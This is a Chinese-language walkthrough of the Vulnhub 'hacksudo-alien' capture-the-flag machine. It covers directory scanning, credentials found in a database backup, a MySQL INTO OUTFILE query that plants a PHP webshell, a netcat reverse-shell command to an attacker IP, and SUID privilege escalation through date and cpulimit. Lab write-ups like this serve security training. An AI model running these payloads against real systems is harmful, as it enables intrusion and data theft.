Vulnhub hacksudo-alien Walkthrough
前言
貌似是这个靶场也不是很难,这是怎么了,我的信心已经膨胀到这个地步了吗?不行,我得收敛一些,不能太嚣张,毕竟是每一天都在接受一些新的知识,对于这个拿到 webshell
的方式则是,利用了 mysql
写外部文件,从而实现命令执行的效果。话不多说直接开始吧。那保留项目就 pass 了。
信息收集
IP 信息 | 端口信息 |
---|---|
![]() |
![]() |
其实从上面可以看出来,这个靶机是开放了两个 http
端口的,其中第二个一看就是一个管理后台界面,这不就是 phpmyadmin
嘛。分别去探索一下。
HTTP 扫描
80 端口
这个就是网站的主页了,看看就好,不知道为什么最近的几个靶机的作者都学的鸡贼了,网站主页上没有任何的信息了都,主页的话,简单看看就行了,主要是还要扫描啊。
gobuster
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.0.4
这个数据库的备份文件,里面发现了数据库的账号的密码,这个时候就想到,之前端口扫描的时候发现 9000
端口就是数据库的管理界面,我们尝试登陆上看看。
Database credentials
user=”vishal”
password=”hacksudo”
host=”localhost”
我再上一篇文章就说了,这个作者真是对这个 vishal
深情不忘啊
9000 端口
构造命令执行
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/backdoor.php"
反弹 shell
上面的文件已经构造好了,现在去浏览器操作一下,首先 ls
一下测试是否构造成功。
发现是可以执行命令的,所以下一步就是利用 nc
进行反弹 shell
了。
http://10.0.0.4/backdoor.php?cmd=nc -e /bin/bash 10.0.0.5 2333
寻找信息
这次的靶场,作者总算是没有那个 pkexec
漏洞了。(好吧,后来发现还是可以的)
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architecture Description
+++-==============-============-============-===================================
ii policykit-1 0.105-25 amd64 framework for managing administrati
跑一下这个脚本,自动找一下敏感信息。
好,终于找到一个看起来像是敏感信息的信息了,去网站上搜一下他怎么利用。https://gtfobins.github.io/。
登陆 hacksudo
既然上面已经有了密码信息了,所以现在就去用 john
跑一下这个密码吧。获得了 hacksudo
的密码,root
那必然是跑不出来的,不然的话,这不是没意思了。
在继续跑一下 linpeas.sh
,不得不说,这个脚本是真的好用啊,哈哈哈哈。
提权
其实吧,这里如果只是要获得 root.txt
的话,在上面知道 date
可以利用之后就已经结束了,date -f /root/root.txt
至于我怎么知道这个 flag
的名字就是 root
反正就是那么几个,都试试呗。
从上面可以看到,当前用户可以使用的拥有 s
权限的文件是 cpulimit
,还是去那一个网站上查一下,可以发现用法。